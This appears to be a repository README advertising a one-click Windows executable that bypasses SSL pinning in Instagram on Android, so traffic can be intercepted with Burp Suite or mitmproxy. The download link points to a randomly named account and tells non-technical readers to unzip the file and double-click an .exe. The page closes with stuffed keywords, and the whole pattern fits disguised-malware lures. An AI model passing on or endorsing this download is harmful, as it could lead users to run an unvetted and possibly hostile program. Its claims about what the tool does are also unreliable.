Welcome! This tool helps you see what data Instagram (and other Meta apps) send and receive on your Android phone. It's perfect for security testing, learning, or troubleshooting. You don't need to be a programmer to use it.
Instagram uses something called "SSL pinning" to stop people from inspecting its network traffic. This tool removes that protection, allowing you to view the traffic using apps like Burp Suite or mitmproxy. Think of it as unlocking a door so you can see what's inside.
- A Windows computer
- An Android phone or emulator
- About 15 minutes of your time
Visit this link to download the application: https://github.com/consenting-hemogenesis659/Android-SSL-Pinning-Bypass
Once you're on that page, look for the green "Code" button near the top right. Click it, then select "Download ZIP" from the dropdown menu. Your browser will download a compressed file to your "Downloads" folder.
After the download finishes, navigate to your Downloads folder and right-click on the ZIP file. Choose "Extract All" from the menu and follow the prompts. This will create a new folder with all the necessary files inside.
Open that extracted folder - you'll see several files and folders inside. The main application file is named Android-SSL-Pinning-Bypass.exe. Double-click it to launch the tool.
Go to your Android phone's Settings, then find "Developer Options" (usually under "System" or "About Phone"). Enable "USB Debugging" if it's not already on.
Plug your phone into your computer using a USB cable. When asked, allow USB debugging on your phone. The tool will detect your device automatically.
In the tool's main window, you'll see a list of installed apps. Find Instagram and click on it. The tool will show you details about the current version and whether SSL pinning is active.
The tool offers two ways to bypass SSL pinning:
- Frida Method - This is the quickest option. It uses a tool called Frida to patch Instagram's security at runtime. This works perfectly if you're testing right now.
- Patched APK Method - This creates a modified version of Instagram that you can install separately. This is better if you want the bypass to be permanent.
For most users, we recommend starting with the Frida Method.
Click "Apply Bypass" and wait for the process to finish. You'll see a success message when it's done. Now open Burp Suite or mitmproxy on your computer and configure them to intercept traffic. Make sure your phone uses your computer as its proxy server. You'll now be able to see all Instagram traffic in your interception tool.
- One-Click Bypass - No complicated commands or manual setup
- Works With Multiple Tools - Compatible with Burp Suite, mitmproxy, and other HTTPS inspection tools
- Supports Latest Instagram - Tested with version 442.0.0.0.61
- Two Bypass Methods - Choose between temporary (Frida) or permanent (patched APK)
- XAPK Support - Handles the latest Instagram package formats automatically
- Network Security Config Integration - Automatically adjusts Android's security settings
- Operating System: Windows 10 or Windows 11 (64-bit)
- RAM: 4 GB minimum (8 GB recommended)
- Storage: 2 GB of free space
- Internet Connection: Required for downloads
- Android Device: Any Android 7.0 or newer device, or an emulator
This tool is designed for security research and educational purposes. You should only test apps you own or have permission to test. Using it on someone else's phone without consent is illegal.
No. The Frida method only temporarily disables SSL pinning while the tool is running. The patched APK method creates a separate copy of Instagram, so your original app remains untouched.
The tool checks for updates automatically. If Instagram updates its security measures, the tool will show you a message and you can update it from the same download page.
This version is for Windows only. However, the technique works on other operating systems - check the GitHub page for community resources.
My phone isn't detected - Make sure USB debugging is enabled on your phone, and try a different USB cable or port. Also check that you've installed the appropriate USB drivers for your phone model.
The bypass isn't working - Try the other method (if you used Frida, try the patched APK). Also confirm that your proxy settings are correct on both your phone and computer.
Instagram keeps crashing - This usually means the patch was applied incorrectly. Uninstall the patched app, re-download the tool, and try again with the Frida method instead.
Want to understand more about SSL pinning and how this works? Check out these helpful resources:
- OWASP Mobile Security Testing Guide
- Frida Documentation
- Burp Suite Tutorials
- mitmproxy Official Docs
This tool is actively maintained. When a new version of Instagram comes out with updated security, we release an update within a few days. Check the GitHub releases page frequently for the latest version.
Join our community of security enthusiasts! Share your experiences, ask questions, and help others troubleshoot. The GitHub repository has a Discussions section where you can connect with other users.
This project is for educational and security research purposes only. By downloading and using this tool, you agree to use it responsibly and only on devices you own or have explicit permission to test.
Remember: Always test responsibly. Only use this tool on your own devices or with clear permission from the device owner.
Keywords: android, apk, appsec, burpsuite, certificate-pinning, frida, frida-gadget, https-inspection, instagram, meta, mitm, mitmproxy, mobile-security, network-security-config, pentesting, reverse-engineering, ssl-pinning, ssl-pinning-bypass, tigon, xapk